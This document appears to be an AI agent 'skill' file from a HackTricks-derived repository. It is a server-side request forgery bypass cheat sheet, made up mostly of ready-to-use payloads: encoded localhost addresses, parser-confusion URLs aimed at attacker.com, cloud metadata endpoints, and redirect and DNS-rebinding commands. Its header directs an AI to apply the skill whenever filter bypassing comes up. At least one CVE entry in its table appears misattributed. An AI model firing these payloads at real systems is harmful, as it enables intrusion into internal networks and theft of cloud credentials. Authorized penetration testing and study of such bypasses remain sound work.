Hacktricks-skills ssrf-url-bypass

Use this skill whenever testing for SSRF vulnerabilities, bypassing URL filters, or generating SSRF payloads. Trigger on any mention of SSRF, server-side request forgery, URL validation bypass, localhost access, internal network scanning, cloud metadata access, or when you need to craft payloads to reach internal hosts. Always use this skill when the user mentions bypassing security filters, reaching 127.0.0.1, accessing internal services, or testing URL parsing vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass/SKILL.MD
source content

SSRF URL Format Bypass

A comprehensive guide to bypassing URL validation filters in Server-Side Request Forgery (SSRF) attacks. Use this skill to generate payloads, understand parsing differences, and craft bypasses for various security controls.

When to Use This Skill

  • Testing for SSRF vulnerabilities in web applications
  • Bypassing URL allowlists or blocklists
  • Reaching localhost/internal hosts through filtered endpoints
  • Accessing cloud metadata services (169.254.169.254)
  • Understanding URL parsing differences between libraries
  • Generating payload wordlists for fuzzing

Localhost Bypass Techniques

Numeric IP Variations

# Basic localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0
http://0.0.0.0:80
http://localhost:80

# CIDR bypass (entire 127.0.0.0/8 range)
http://127.1:80
http://127.0.1.3
http://127.0.0.0
http://127.127.127.127

# IPv6 localhost
http://[::]:80/
http://[::]:25/           # SMTP
http://[::]:3128/         # Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/

Numeric Encoding Bypasses

# Decimal bypass
http://2130706433/        # = 127.0.0.1
http://3232235521/        # = 192.168.0.1
http://3232235777/        # = 192.168.1.1

# Octal bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
http://0x7f000001/        # = 127.0.0.1
http://0xc0a80014/        # = 192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings
169.254.43518            # Partial Decimal (Class B)
0xA9.254.0251.0376       # hex, decimal, octal mixed

# Add leading zeros
127.000000000000.1

Unicode and Special Character Bypasses

# Unicode full-width dots
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Unicode circled numbers
http://①②⑦.⓪.⓪.⓪

# Unicode domain characters
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

# URL-encoded variants
http://0:@0/              # → http://localhost/

DNS-Based Localhost

# nip.io service (IP in domain)
127.0.0.1.nip.io
192.168.1.1.nip.io

# Custom DNS
localtest.me              # = 127.0.0.1
spoofed.burpcollaborator.net

# Subdomain tricks
customer1.app.localhost.my.company.127.0.0.1.nip.io

# Known localhost mappings
mail.ebc.apple.com        # = 127.0.0.6
bugbounty.dod.network     # = 127.0.0.2
1ynrnhl.xip.io            # = 169.254.169.254

Domain Parser Bypasses

Exploiting differences in how URL parsers handle malformed URLs:

# Missing slashes
https:attacker.com
https:/attacker.com
http:/\attacker.com
https:/\attacker.com
//attacker.com

# Backslash confusion
/\attacker.com/
/\attacker.com/

# Fragment-based
#attacker.com
#%20@attacker.com
%0D%0A/attacker.com

# Null byte injection
attacker%00.com

# Double-encoded fragment
attacker.com%2523@victim   # bypasses split("#")

# Unicode domain
attacker%E3%80%82com
attacker。com

# Userinfo confusion
http://169.254.1698.254\@attacker.com

Domain Confusion Techniques

When you need to make the application think it's accessing one domain while actually reaching another:

# Basic confusion patterns
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}

# Advanced confusion
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\.{domain}
https://attacker.com/.{domain}

# Colon + backslash (CVE-2025-0454)
http://localhost:\@google.com/../

# Parameter pollution
next={domain}&next=attacker.com

# Unicode division sign
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

Path and Extension Bypasses

When the URL must end with a specific path or extension:

# Fragment bypass (fragments aren't sent to server)
https://metadata/vulnerable/path#/expected/path
https://metadata/vulnerable/path#.extension

# Path traversal
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Redirect-Based Bypass

When the server filters the original request but follows redirects:

  1. Set up a redirect server that responds with 302 to your target
  2. Point the SSRF to your redirect server
  3. The server follows the redirect to the filtered target

Use the

scripts/ssrf-redirector.py
script to create a redirect server:

python3 scripts/ssrf-redirector.py 8000 http://127.0.0.1/

Then use

http://your-redirect-server:8000/
in the SSRF parameter.

DNS Rebinding Bypass (2025+)

Even when filters perform a single DNS resolution, you can rebind between lookup and connection:

  1. Point domain to public IP to pass allowlist check
  2. Use low TTL or authoritative server you control
  3. Rebind to internal IP (127.0.0.1, 169.254.169.254) before real request

Use Singularity (nccgroup/singularity) to automate:

python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080

IPv6 Zone Identifier Trick

Some filters strip IPv6 brackets but not zone identifiers:

http://[fe80::1%25eth0]/          # %25 = encoded '%'
http://[fe80::a9ff:fe00:1%25en0]/ # macOS style

The

%25
decodes to
%
, creating
fe80::1%eth0
which some parsers don't recognize as localhost.

Recent CVEs and Parsing Issues

YearCVEComponentKey Bypass
2025CVE-2025-0454Python requests/urllib
http://localhost:\@google.com/../
2025CVE-2025-2691Node nossrfHostname resolves to private IP
2024CVE-2024-29415Node ip package
0127.0.0.1
classified as public
2024CVE-2024-22243Spring UriComponentsBuilder
[
in userinfo
2023CVE-2023-27592urllib3 <1.26.15Backslash confusion
2022CVE-2022-3602OpenSSLDotless domain confusion

Tools and Helpers

SSRF-PayloadMaker

Generate 80k+ bypass combinations automatically:

python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

PortSwigger URL Validation Bypass

Use the PortSwigger cheat sheet to generate custom wordlists based on allowed and attacker hosts.

Burp Extensions

  • Burp-Encode-IP: Implements IP formatting bypasses
  • recollapse: Generate regex bypass variations

Quick Reference: Cloud Metadata URLs

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/

# GCP
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance/

# DigitalOcean
http://169.254.169.254/metadata/v1/

Workflow

  1. Identify the filter: Test basic localhost (127.0.0.1, localhost)
  2. Try numeric encodings: Decimal, octal, hex variations
  3. Test domain confusion: Use @, #, and path tricks
  4. Use redirect bypass: If direct access is blocked
  5. Generate wordlists: Use SSRF-PayloadMaker for comprehensive testing
  6. Check for CVEs: Test known vulnerable library patterns

Important Notes

  • Always test in authorized environments only
  • URL parsing differs between browsers, libraries, and frameworks
  • What works in one context may not work in another
  • Combine multiple techniques for complex filters
  • Document findings for responsible disclosure